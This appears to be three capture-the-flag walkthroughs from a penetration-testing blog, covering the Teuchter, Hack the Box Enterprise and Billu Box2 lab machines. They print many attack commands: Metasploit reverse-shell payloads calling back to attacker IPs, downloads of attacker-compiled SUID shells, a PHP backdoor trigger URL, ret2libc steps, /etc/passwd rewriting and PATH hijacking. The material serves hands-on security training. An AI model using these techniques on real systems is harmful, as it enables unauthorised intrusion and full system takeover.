Hack the Teuchter VM (CTF Challenge)

Hello friends!! Today we are going to solve latest CTF challenge “Teuchter” presented by vulnhub for penetration practice and design by knightmare. This virtual machine is having intermediate to medium difficulty level. One need to break into VM using web application and from there escalate privileges to gain root access.

Download it from here: https://www.vulnhub.com/entry/teuchter-03,163/

Penetrating Methodologies

§  Network Scanning (netdiscover, Nmap)

§  Abusing HTTP service for PHP extract backdoor

§  Compromise victim’s (Metasploit)

§  SUID Privilege escalation

§  Steganography for original flag.txt

Lets Start!!!

Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own)

netdiscover

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.

nmap -A 192.168.1.104

Knowing port 80 is open in victim’s network I preferred to explore his IP in a browser. At first glance, we saw following web page.  When couldn’t found something suspicious, so we try to check its source-code.

Hmmm!! After exploring source code page, you can analysis the “Green color text” sounds a little bit doubtful. Giving priority to /gallery /flicks and /telly we have considered them as the subjective web directories and then try to explore it in the web browser.

Also consider hint given for some extension like .pht for PHP.

 

So I opened the URL http://192.168.1.104/gallery/ but couldn’t get anything neither from its web page nor from its source code.

Then explored the URL http://192.168.1.104/telly/ and it put-up following web page in front of us and at looking at its page source code we notice something like flicks phpinfo.

So without wasting time we lunch directory brute-force attack on following URL for identify .php and .pht extension files.

dirb http:192.168.1.104/flicks/ -X .php, .pht

And from its result we find a phpinfo.pht file and explored it in the browser and it gives me an internal server error when I open it. So I search in Google phpinfo.php found this link: https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html

Thanks to Mr. Daniel B. Cid for sharing his experience because with help of above link we get the idea to exploit it. As the author has hidden the PHP extract backdoor inside the phpinfo.pht file and now whatever the attacker sends as “ctime” with “atime” as an argument it will be execute successfully.

As you can observe when we try to execute the system command “id” through the given below URL we got following result on the web page.

http:192.168.1.104/flicks/phpinfo.php?ctime=system&atime=id

Let’s compromise the victim’s VM to get the meterpreter shell, therefore, we load metasploit framework and execute below commands.

use exploit/multi/script/web_delivery

msf exploit(multi/script/web_delivery) > set target 1

msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp

msf exploit(multi/script/web_delivery) > set lhost 192.168.1.107

msf exploit(multi/script/web_delivery) > exploit

Copy the highlighted text for malicious PHP code and Paste it inside URL as an argument.

You will get meterpreter session of victim’s machine in your Metasploit framework and after then finished the task by grabbing flag.txt file. Further type following for extracting more information for post exploitation.

Here first I sysinfo command to enumerate install kernel version but didn’t found any working exploit for this VM therefore then I decide to go with manual approach for privilege escalation. Thus execute below commands:

cd /home

ls

cd proclaimers

ls

cd letterfromamerica

ls

Here I found two files semaphore and test and if you will notice at their permissions then you will realize that SUID bit enabled for semaphore and GUID bit is enabled for test.

Now let access proper tty shell of victim’s VM and enumerate furthermore inside it.

shell

python3 -c "import pty; pty.spawn('/bin/bash');"

ooooh!! I got something suspicious from inside this path: /home/jkerr, a login.txt and promisedyouamiracle.jpg image. And after reading the note of the login.txt file I decided to download jpg image in our local machine.

Since the python 3 is already running therefore we execute following command for transferring file.

python3 -m http.server 8080

When we explored the promisedyouamiracle.jpg image in browser we got the following photo.

With help of exiftool we try to extract metadata from inside this image and luckily found the bas64 encoded text.

exiftool promisedyouamiracle.jpg

With the help of following command we try to decode the text and got “gemini” which could be possible password.

echo “Z2VtaW5pCg==” | base64 -d

Let try to login by using gemini as password for user: proclaimers because it holds two important files. Execute the following commands and extract the information.

su proclaimers

password: Gemini

ls

cd proclaimers

ls

cd letterfromamerica

ls -al

Ohhhh Great!! As declared above SUID bit enabled for the semaphore and GUID bit enabled for the test, let’s use grep command to get everything related to semaphore.

grep -R "semaphore" /usr/local 2>/dev/null

AwesomeJ, I got a script at this path /usr/local/bin/numpties.sh; let’s open it with cat command.

cat /usr/local/bin/numpties.sh

After reading it, I conclude that the cronjob will add the SUID bit to semaphore and also give root ownership to this file if the file exists.

No wonder, if I replace the original semaphore by the fake semaphore file then our fake file will get SUID permission. So in our local we write a C-program to get bsah shell and compile it.

include

#include

#include

Int main ()

{

setuid(geteuid ());

system("/bin/bash");

}

gcc shell.c -o semaphore

python -m SimpleHTTPServer 80

Since we have complied file semaphores and also running python server therefore let’s download our fake semaphore at the place of original semaphores. Thus first I removed original semaphores and download complied file in same directory.

rm -rf  semaphore

curl -O http://192.168.1.107/semaphore

After sometime when I checked the permission for the new semaphore I found the SUID bit was on. At that moment you should run the script which will give root terminal after getting executed and then look for flag inside /root directory.

ls -al

./semaphore

cd /root

cat flag.txt

This was not actual the flag let’s try to get the original flag 

cd root

ls

re-record-not-fade-away

ls -al

cd on

ls 

cd and

ls

cd on

So on………… and at last you will get /ariston which holding a zip file “TeuchterESX.zip”.

cd ariston

Again run following command in current directory to transfer zip file.

python3 -m http.server 8080

Now download TeuchterESX.zip file in local machine and unzip it.

wget http://192.168.1.103:8080/ TeuchterESX.zip

unzip TeuchterESX.zip

password: Teuchter

We  got a vmdk file and further ran following command to check list of present drive for mounting disk image.

fdisk -l

Here we saw /dev/sdb1 which looks good mounting disk image thus I install the vmfs-tools package.

So we have used vmfs-fuse to mount the drive and execute following commands:

mkdir Teuchter

vm-fuse /dev/sdb1 /root/Desktop/Teuchter/

cd Teuchter

ls

cat hint.txt

In this text messages the author had given hint to check ISO for getting the password which is related to TV advert and it’s of 25 character.

So we mount the new folder /redkola.iso where we found an image file glass_ch.jpg with help of following command:

mount redkola.iso /root/Desktop/redkola

cd /root/Desktop/redkola

ls

Further we opened the image “glass_ch.jpg” and it was a picture of Irn-Bru soft-drinks. Probably there could be chances of hidden text in this image therefore we tried steghide to extract out hidden text but when I execute following command it ask to enter some passphrase which we don’t know yet and it should above said 25 character which we need to be found.

steghide extract -sf glass_ch.jpg -xf /root/Desktop/finalflag.txt

Taking help of above hint and image I search Irn-bru-wiki and got this link https://en.wikipedia.org/wiki/Irn-Bru

And after spending a long time over wiki I got 25 character in ‘madeinscotlandfromgirders’, which was Irn-Bru advertising slogan and tried it as passphrase.

We entered above passphrase and extracted the text file on the desktop.

Congrats!! Finally we got the final flag.txt file as shown below………….

Hack the Box Challenge: Enterprises Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Enterprise” which is available online for those who want to increase their skill in penetration testing and black box testing. Enterprise is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.61 so let’s begin with nmap port enumeration.

nmap -sV 10.10.10.61

From given below image, you can observe we found port 22, 80, 443 and 80 are open on target system.

As port 80 is running http server we open the target machine’s ip address in our browser, and find a website that is running on wordpress.

As port 8080 is also running http server we open the target machine’s ip address in our browser, and find a website that is not made on wordpress.

When we try to open the wordpress admin page but are redirected to domain called “enterprise.htb”. We enter the domain name in /etc/hosts file.

Now when we open wp-admin, we are able to get the login page.

We run dirb on port 80 to enumerate the directories and find a directory called /files.

dirb http://10.10.10.61

We open the files/ directory, and find a zip file.

We download the zip file in our system and unzip it. After unzipping it we find 3 php files.

We take a look at the content of the files and it looks like there might be plugin called lcars that is being used by the wordpress site and by the looks of the code it is possible that is vulnerable to SQL-injection.

Now when we open it we get a php error message, we now know that this plugin is vulnerable to SQL-injection.

We use sqlmap to dump the database and found a message with a few passwords. We also find that there is a joomla database we try to dump it and find a username geordi.la.forge.

Now we use one of these passwords to login into wordpress. On the webpage we see that there are has been posts made by user william.riker. So we use credentials william.riker:u*Z14ru0p#ttj83zS6 to login into wordpress control panel.

Now we change the 404.php template with our payload to get reverse shell on the machine. First we are going to create our payload using msfvenom.

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 –f raw

Now we are going to setup our listener using metasploit.

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

msf exploit(multi/handler) > set lhost 10.10.14.25

msf exploit(multi/handler) > set lport 4444

msf exploit(multi/handler) > run

After replacing the 404.php code with our payload, we open the 404.php page in our browser.

As soon as we open it we get our reverse shell.

After getting our reverse shell we find that we are actually in a container app and we find the machine has 2 network card.

Now we find all the ip’s in the subnet of the container.

Now we create another shell using msfvenom to upload it into the joomla site on port 8080.

Now we background our session and change the lport according to our payload.

meterpreter > background

msf exploit(multi/handler) > set lport 4455

msf exploit(multi/handler) > run

We are first going to login into the joomla site, using credentials, geordi.la.forge:ZD3YxfnSjezg67JZ and upload our shell code.

As soon as we open the page we get our reverse shell.

After getting into the joomla container, we find that we have common file called /var/www/html/files.

We create another php payload using msfvenom to upload this shell into /var/www/html/files directory.

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw > shell1.php

We go to /var/www/html/files directory and upload the shell using meterpreter.

Now we background our current session and change the lport according to our new payload.

meterpreter > background

msf exploit(multi/handler) > set lport 5555

msf exploit(multi/handler) > run

When we go to /files directory we find that our shell has been uploaded.

As soon as we click on the payload we get our reverse shell.

After getting the reverse shell on the main machine instead of container we try to find files with suid bit set.

find / -perm -4000 2>/dev/null

We find a file called lcars, we find that it has been running on port 32812.

When we connect with it using netcat we find that it asks for access code.

We run the file on the target machine using ltrace to find the access code for this binary.

We find that when we pass a it gets compared to a string called pircarda1. We use this to login into the binary

We are able to access the file using this binary now we try to find this program is vulnerable to buffer overflow. We open the file using gdb to read the assembly code.

Now create 500 byte long string using pattern_create.rb script to find the EIP offset.

./pattern_create.rb -l 500

After searching all the options we find that option number 4 was vulnerable to buffer overflow.

We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 212. So we need to write 212 characters and then write the address of the instructions we want to be executed.

./pattern_offset -q 31684130 -l 500

Now when we try to insert shellcode into the buffer but we were unable to execute it because of DEP. It prevents code from being executed in the stack. Now we are going to do a ret2libc attack to execute a process already present in the process’ executable memory. We go into the target machine and find ASLR in enabled so we have to brute force the address. Now we find the address of system, exit and /bin/sh.

gdb /bin/lcars

(gdb) b main

(gdb) run

(gdb) p system

(gdb) find 0xf7e0bd10, +9999999, "/bin/sh"

(gdb) p exit

We create an exploit which can be found here. As soon as we run the exploit we get our reverse shell as root user. We go to /root directory and find a file called “root.txt”. When we open it we find our 1^st flag. We then go to /home directory inside we find another directory called jeanlucpicard/. Inside /home/jeanlucpicard we find a file called “user.txt”, we open it and find our final flag.

Hack the Billu Box2 VM (Boot to Root)

Hello freinds!! Today we are going to solve latest CTF challenge “Billu Box2” presented by vulnhub for penetration practice and design by Manish Kishan Tanwar. This virtual machine is having intermediate to medium difficulty level. One need to break into VM using web application and from there escalate privileges to gain root access.

You can download it from this Link: https://www.vulnhub.com/entry/billu-b0x-2,238/

Penetration Methodologies

§  Network scaning

§  Exploit Drupal (Metasploit)

§  privilege escalation via Writable /passwd file

§  Get root access and capture the flag

Let’s Begin!!

You will get target VM machine IP at the time of boot-up as you can observe we have it as 192.168.1.108.

So let’s start with nmap port enumeration and execute following command in our terminal.

nmap -A 192.168.1.108

Here I noticed drupal 8 CMS is running through apache and might be you are knowing that metasploit contains a module to compromise the target by exploiting drupalgeddon.

So let’s try to exploit this web application with the help of metasploit module and for that execute following command:

use exploit/unix/webapp/drupal_drupalgeddon2

msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.108

msf exploit(unix/webapp/drupal_drupalgeddon2)> exploit

Yippee!! We have owned meterpreter session 1, now let’s go for privilege escalation. Firstly let access proper tty shell with help of python one-liner and identify kernel version.

python -c 'import pty;pty.spawn("/bin/sh")'

lsb_release -a

I search for any relative kernel exploit but didn’t found any working exploit so I penetrated little bit more and enumerated that the /passwd file has ALL 777 permission as shown in the below image.

With help of cat command we open /etc/passwd file and notice an entry for local user “indishell” inside it. Since this file has ALL permission which mean I can modify it very easily. So I copied the whole /passwd file in an empty text file in our local machine and saved at /root/Desktop/passwd.

As you can observe the entry for user indishell contain encrypted passwd and I don’t know which encryption is used therefore I will try to replace the original salt password. We can use openssl command which will generate an encrypted password with salt.

openssl passwd -1 -salt abc pass123

Now copy it which is new salt password for password:pass123 and paste at the place of original salt password for user indishell.

As you can observe, we had manipulated old password hash from our new password salt and also modify UID GID as 0:0 to make him member of root user.

Now transfer your modified passwd file into target’s VM machine and follow below steps to access root shell terminal.

cd /etc

upload /root/Desktop/passwd

python -c 'import pty;pty.spawn("/bin/sh")'

su indishell

whoami

B000M!!!! We hit the Goal and got root access of this VM. This vulnerability can be exploit in multiple way and for detail open this link: http://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/

Second Method for Privilege Escalation

Search for the file having SUID or 4000 permission with help of Find command.

find / -perm -u=s -type f 2>/dev/null

Here I found SUID bit is enable for a file named as “s” which is present inside /opt directory, on its execution we realize that, it is an SCP file which is asking SSH authentication.

Hence, now we can modify this file to get bash shell with the help of following step which is also known Path Variable privilege Escalation.

cd /tmp

echo “/bin/sh” > scp

chmod 7777scp

export PATH=/tmp:$PATH

cd /opt

./s

id

This vulnerability can be exploit in multiple way and for detail open this link: http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/